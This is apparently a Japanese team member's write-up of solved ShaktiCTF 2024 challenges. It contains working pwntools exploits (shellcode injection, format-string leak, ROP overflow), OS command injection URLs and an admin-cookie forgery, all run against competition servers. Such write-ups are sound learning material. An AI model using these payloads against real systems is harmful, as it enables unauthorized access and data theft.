この大会は2024/3/8 21:30(JST)~2024/3/9 21:30(JST)に開催されました。
今回もチームで参戦。結果は1900点で496チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome to ShaktiCTF'24 (Miscellaneous, Begginer)
Discordに入り、#announcementsチャネルにshaktiのロゴがあり、クリックすると、詳細情報が表示される。全部は見えないので、カーソルを当てると、フラグが表示された。
shaktictf{HAppy_W0M3n5_DAy}
Ocean_Enigma (OSINT, Begginer)
画像検索すると、以下のページなどが見つかる。
https://www.history.com/news/what-happened-to-the-mary-celeste https://en.wikipedia.org/wiki/Mary_Celeste
以前に船長と一緒に航海したことのある乗組員はAlbert G. Richardson。
船長の親友の名前はDavid Morehouse。
船長が航海日誌に目撃を記録した島はSanta Maria Island。
元の船の名前はAmazon。
shaktictf{Albert_G_Richardson:David_Morehouse:Santa_Maria:Amazon}
blank_shell (Pwn, Begginer)
$ file chall chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=772606a0af6a28364ae0d08ab565b523f9e01153, for GNU/Linux 3.2.0, not stripped
シェルコードを適当に見つけてきて、送り込む。
#!/usr/bin/env python3 from pwn import * p = remote('65.0.128.220', 30799) payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 65.0.128.220 on port 30799: Done [*] Switching to interactive mode $ ls chall flag.txt ynetd $ cat flag.txt shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}
Looking_Mirror (Pwn, Begginer)
Ghidraでデコンパイルする。
void main(void) { __gid_t __rgid; FILE *__stream; long in_FS_OFFSET; char local_98 [64]; char local_58 [72]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); __rgid = getegid(); setresgid(__rgid,__rgid,__rgid); puts("Ask the looking mirror for the secret to a masterful conquest!"); puts("=============================================="); puts("Hi, you are face to face with the immortal mirror now!"); puts("Delve into its eternal wisdom and get the much gaurded secret."); puts( "Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you." ); puts("\n"); __stream = fopen("secret.txt","r"); if (__stream == (FILE *)0x0) { puts("Warning: secret.txt not found! The secret is not available for you."); } else { fgets(local_58,0x40,__stream); fclose(__stream); } do { printf("\n> "); fgets(local_98,0x40,stdin); printf("Looking Mirror: "); printf(local_98); } while( true ); }
FSBでスタック上にあるフラグをリークする。20番目のインデックスからフラグがあるので、順番に取り出していく。
#!/usr/bin/env python3 from pwn import * p = remote('65.0.128.220', 31878) flag = '' index = 20 while True: payload = '%' + str(index) + '$p' data = p.recvuntil(b'> ').decode() print(data + payload) p.sendline(payload.encode()) data = p.recvline().decode() print(data) flag += int(data.split(' ')[-1], 16).to_bytes(8, 'little').decode() if '}' in flag: flag = flag.rstrip('\x00') break index += 1 print(flag)
実行結果は以下の通り。
[+] Opening connection to 65.0.128.220 on port 31878: Done Ask the looking mirror for the secret to a masterful conquest! ============================================== Hi, you are face to face with the immortal mirror now! Delve into its eternal wisdom and get the much gaurded secret. Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you. > %20$p Looking Mirror: 0x746369746b616873 > %21$p Looking Mirror: 0x3472676e30637b66 > %22$p Looking Mirror: 0x5f796234625f3574 > %23$p Looking Mirror: 0x333737346d723066 > %24$p Looking Mirror: 0xa7d72 shaktictf{c0ngr4t5_b4by_f0rm4773r} [*] Closed connection to 65.0.128.220 port 31878
shaktictf{c0ngr4t5_b4by_f0rm4773r}
Binary_Heist (Pwn, Easy)
$ checksec --file binary_heist [*] '/media/sf_Shared/binary_heist' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Ghidraでデコンパイルする。
undefined8 main(EVP_PKEY_CTX *param_1) { init(param_1); puts("Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault."); vault(); puts("Agency: ABORT! Operation Binary Heist - Mission failed."); return 0; } void vault(void) { puts("System: Enter your name for log: "); input(); return; } void input(void) { undefined local_18 [16]; __isoc99_scanf(&DAT_00402008,local_18); puts("System: Log entry successful! You will be granted access on entering the correct passcodes." ); return; } void infiltrate(long param_1,long param_2) { undefined8 local_16; undefined4 local_e; undefined2 local_a; local_16 = 0x6c75617620746163; local_e = 0x78742e74; local_a = 0x74; if ((param_1 == 0x1337c0d31337c0d3) && (param_2 == -0x53123f2153123f22)) { puts("System: Operation Binary Heist - Top-Secret Flag:"); system((char *)&local_16); } else { puts("WARNING: Intruder!!!. Authorities have been warned."); } return; }
BOFでinfiltrate関数をコールする。その際引数の条件があるので、ROPで正しく指定するようにする。
$ ROPgadget --binary binary_heist --re "pop rdi" Gadgets information ============================================================ 0x0000000000401207 : pop rdi ; pop rsi ; ret Unique gadgets found: 1
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('65.0.128.220', 31672) else: p = process('./binary_heist') elf = ELF('./binary_heist') pop_rdi_rsi = 0x401207 infiltrate_addr = elf.symbols['infiltrate'] payload = b'A' * 24 payload += p64(pop_rdi_rsi) payload += p64(0x1337c0d31337c0d3) payload += p64(0xacedc0deacedc0de) payload += p64(infiltrate_addr) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data) print(payload) p.sendline(payload) data = p.recvline().decode().rstrip() print(data) for _ in range(2): data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to 65.0.128.220 on port 31672: Done [*] '/media/sf_Shared/binary_heist' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault. System: Enter your name for log: b'AAAAAAAAAAAAAAAAAAAAAAAA\x07\x12@\x00\x00\x00\x00\x00\xd3\xc07\x13\xd3\xc07\x13\xde\xc0\xed\xac\xde\xc0\xed\xacC\x12@\x00\x00\x00\x00\x00' System: Log entry successful! You will be granted access on entering the correct passcodes. System: Operation Binary Heist - Top-Secret Flag: shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140} [*] Closed connection to 65.0.128.220 port 31672
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}
Warmup_rev (Reverse Engineering, Beginner)
Ghidraでデコンパイルする。
undefined8 main(undefined8 param_1,undefined8 param_2) { int iVar1; size_t sVar2; long in_FS_OFFSET; char acStack_e8 [104]; undefined8 uStack_80; undefined4 local_6c; undefined8 local_68; char *local_60; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined6 local_40; undefined2 uStack_3a; undefined6 uStack_38; undefined8 local_32; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); local_6c = 100; local_68 = 99; local_60 = acStack_e8; printf("Enter the flag: ",param_2,3); fgets(local_60,100,stdin); sVar2 = strcspn(local_60,"\n"); local_60[sVar2] = '\0'; reverseString(local_60); local_58 = 0x316e64333364217d; local_50 = 0x346c6c336e67335f; local_48 = 0x34726d55705f6368; local_40 = 0x31355f345f77; uStack_3a = 0x735f; uStack_38 = 0x74667b746831; local_32 = 0x7368616b746963; iVar1 = strcmp(local_60,(char *)&local_58); if (iVar1 == 0) { puts("\nYou got it!!"); } else { puts("Oops, that\'s not the correct flag"); } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ uStack_80 = 0x10137e; __stack_chk_fail(); } return 0; } void reverseString(char *param_1) { char cVar1; size_t sVar2; int local_14; int local_10; sVar2 = strlen(param_1); local_10 = (int)sVar2; for (local_14 = 0; local_10 = local_10 + -1, local_14 < local_10; local_14 = local_14 + 1) { cVar1 = param_1[local_14]; param_1[local_14] = param_1[local_10]; param_1[local_10] = cVar1; } return; }
入力文字列を逆順にして比較しているので、元に戻す。
>>> (0x316e64333364217d).to_bytes(8, 'little')[::-1] b'1nd33d!}' >>> (0x346c6c336e67335f).to_bytes(8, 'little')[::-1] b'4ll3ng3_' >>> (0x34726d55705f6368).to_bytes(8, 'little')[::-1] b'4rmUp_ch' >>> (0x31355f345f77).to_bytes(6, 'little')[::-1] b'15_4_w' >>> (0x735f).to_bytes(2, 'little')[::-1] b's_' >>> (0x74667b746831).to_bytes(6, 'little')[::-1] b'tf{th1' >>> (0x7368616b746963).to_bytes(7, 'little')[::-1] b'shaktic'
shaktictf{th1s_15_4_w4rmUp_ch4ll3ng3_1nd33d!}
Cyber_Kingdom (Reverse Engineering, Easy)
Ghidraでデコンパイルする。
undefined8 main(void) { uint uVar1; long in_FS_OFFSET; int local_16c; int local_168; int local_164; int local_160; uint auStack_158 [36]; int local_c8 [36]; byte local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); srand(0x7b); for (local_16c = 0; local_16c < 0x23; local_16c = local_16c + 1) { uVar1 = rand(); auStack_158[local_16c] = uVar1 & 0xf; } puts("\n\t||| Welcome to my Cyber Kingdom |||"); puts("||| I have a quick task for you if you don\'t mind |||"); puts("|| Find the correct flag for me and prove yourself! ||\n"); printf("Please enter the flag: "); fgets((char *)local_38,0x24,stdin); for (local_168 = 0; local_168 < 0x23; local_168 = local_168 + 1) { local_38[local_168] = local_38[local_168] ^ (byte)auStack_158[local_168]; } local_c8[0] = 0x72; local_c8[1] = 0x6d; local_c8[2] = 0x60; local_c8[3] = 0x65; local_c8[4] = 0x73; local_c8[5] = 0x62; local_c8[6] = 0x68; local_c8[7] = 0x7a; local_c8[8] = 0x6c; local_c8[9] = 0x7a; local_c8[10] = 0x77; local_c8[11] = 100; local_c8[12] = 0x31; local_c8[13] = 0x54; local_c8[14] = 0x77; local_c8[15] = 0x31; local_c8[16] = 0x6c; local_c8[17] = 99; local_c8[18] = 0x59; local_c8[19] = 0x67; local_c8[20] = 0x62; local_c8[21] = 0x31; local_c8[22] = 0x6c; local_c8[23] = 0x58; local_c8[24] = 0x31; local_c8[25] = 0x7d; local_c8[26] = 0x53; local_c8[27] = 0x7e; local_c8[28] = 0x3b; local_c8[29] = 0x62; local_c8[30] = 0x69; local_c8[31] = 0x30; local_c8[32] = 0x6c; local_c8[33] = 0x31; local_c8[34] = 0x72; local_164 = 0; for (local_160 = 0; local_160 < 0x23; local_160 = local_160 + 1) { if (local_c8[local_160] == (int)(char)local_38[local_160]) { local_164 = local_164 + 1; } } if (local_164 == 0x23) { puts("\nYou got it!!"); } else { puts("\nNope, that\'s not the right path"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
auStack_158とXORしてlocal_c8と同じになるものを入力する必要がある。乱数が使われているが、srandで決まった値が指定されているので、算出することができる。これを元に復号する。
#include <stdio.h> #include <stdlib.h> void main() { unsigned int rnd; char auStack[36]; char flag[36] = {0}; char key[36] = {0x72, 0x6d, 0x60, 0x65, 0x73, 0x62, 0x68, 0x7a, 0x6c, 0x7a, 0x77, 100, 0x31, 0x54, 0x77, 0x31, 0x6c, 99, 0x59, 0x67, 0x62, 0x31, 0x6c, 0x58, 0x31, 0x7d, 0x53, 0x7e, 0x3b, 0x62, 0x69, 0x30, 0x6c, 0x31, 0x72}; srand(0x7b); for (int i = 0; i < 0x23; i++) { rnd = rand(); auStack[i] = rnd & 0xf; } for (int i = 0; i < 0x23; i++) { flag[i] = auStack[i] ^ key[i]; } printf("%s\n", flag); }
shaktictf{wh0_s4id_fl4g_1s_r4nd0m?}
Operation Ultra (Reverse Engineering, Easy)
スクリプトの処理の概要は以下の通り。
・unk_str = "U2hhZG93MjAyNA==" ・unk_str: unk_strをbase64デコードしたもの ・unk_str0: 入力文字列 ・unk_str1 = func_1(unk_str0, unk_str) unk_str0とunk_str(繰り返し)とのXOR ・unk_str2 = func_2(unk_str1) 4バイトごとに前半を結合したものと4バイトごとに後半を結合したものとの結合 ・unk_str2とunk_arr0が一致していれば、正しいフラグ
逆算してフラグを求める。
#!/usr/bin/env python3 import base64 unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0, 15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21] l = len(unk_arr0) // 2 unk_str1 = [] for i in range(0, l, 2): unk_str1.append(unk_arr0[i]) unk_str1.append(unk_arr0[i + 1]) unk_str1.append(unk_arr0[l + i]) unk_str1.append(unk_arr0[l + i + 1]) unk_str = 'U2hhZG93MjAyNA==' unk_str = base64.b64decode(unk_str.encode('ascii')) flag = '' for i in range(len(unk_str1)): flag += chr(unk_str1[i] ^ unk_str[i % len(unk_str)]) print(flag)
shaktictf{Ul7r4_STe4l7h_SUcc3s5}
Delicious (Web Exploitation, Beginner)
クッキーのcookieに以下が設定されている。
eyJhZG1pbiI6MH0%3D
$ echo eyJhZG1pbiI6MH0= | base64 -d {"admin":0}
"admin"を1にする。
$ echo -n '{"admin":1}' | base64 eyJhZG1pbiI6MX0=
クッキーのcookieに以下を設定する。
eyJhZG1pbiI6MX0%3D
ページをリロードすると、フラグが表示された。
Okay here you go: shaktictf{heyo_beginnerr_you_got_the_flag}
shaktictf{heyo_beginnerr_you_got_the_flag}
Find the flag(Web Exploitation, Easy)
OSコマンドインジェクションができる。
https://ch25757158640.ch.eng.run/?test=a;lsにアクセスすると以下が表示された。
Dockerfile __pycache__ flag.txt main.py templates
https://ch25757158640.ch.eng.run/?test=a;cat%20flag.txtにアクセスすると、フラグが表示された。
shaktictf{finally_you found_the_flag_hehehheh!}
Flag Expedition (Cryptography, Begginer)
国際信号旗になっているので、デコードする。
WASITTOOEASYTOFIND
shaktictf{was_it_too_easy_to_find}
eH lvl1 (Cryptography, Easy)
RSA暗号だが、eがわからない。hintと1バイトのXOR鍵でhの値が出力されている。CyberChefで以下のhの値を「From Hex」「XOR Brute Force」で復号してみる。
6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112
復号結果は以下の通り。
Key = 3b: The e = 79400+(the single byte that was xored) :)
これでeは79400+0x3bであることがわかる。p, q, cがわかっているので、通常通り復号できる。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() ct = int(params[1].split(' ')[-1]) p = int(params[2].split(' ')[-1]) q = int(params[3].split(' ')[-1]) e = 79400 + 0x3b phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, p * q) msg = long_to_bytes(m).decode() print(msg)
復号結果は以下の通り。
Here is your reward 'vvrkxuqgi{r0i43m0r_f0_hu3_u3gtu3!!!}' You can ask 'Doraemon' to help you with this. Bye!!
Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで、鍵を'Doraemon'にして復号する。
shaktictf{d0r43m0n_t0_th3_r3scu3!!!}
eH lvl2 (Cryptography, Easy)
RSA暗号だが、eがわからない。hintの各文字とnでXORした値が出力されている。復号すると、以下の文字列になる。
The e = 46307 :)
これでeは46307であることがわかる。p, q, cがわかっているので、通常通り復号できる。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() h = eval(params[0].split(' = ')[-1]) ct = int(params[1].split(' ')[-1]) p = int(params[2].split(' ')[-1]) q = int(params[3].split(' ')[-1]) n = p * q hint = ''.join([chr(i ^ n) for i in h]) print('[+] hint:', hint) e = 46307 phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, p * q) flag = long_to_bytes(m).decode() print('[*] flag:', flag)
復号結果は以下の通り。
[+] hint: The e = 46307 :) [*] flag: Hope you had fun solving this challenge shaktictf{RSA_1s_fun_t0_d0_ri8?}
shaktictf{RSA_1s_fun_t0_d0_ri8?}
Participant Survey (Miscellaneous, Beginner)
アンケートに答えたら、フラグが表示された。
shaktictf{th4nk_y0u_f0r_submi77ing_surv3y}
Feedback (Miscellaneous, Begginer)
アンケートに答えたら、フラグが表示された。
shaktictf{7h4nk_y0u_f0r_p4rticip4ting_shaktiCTF_2024}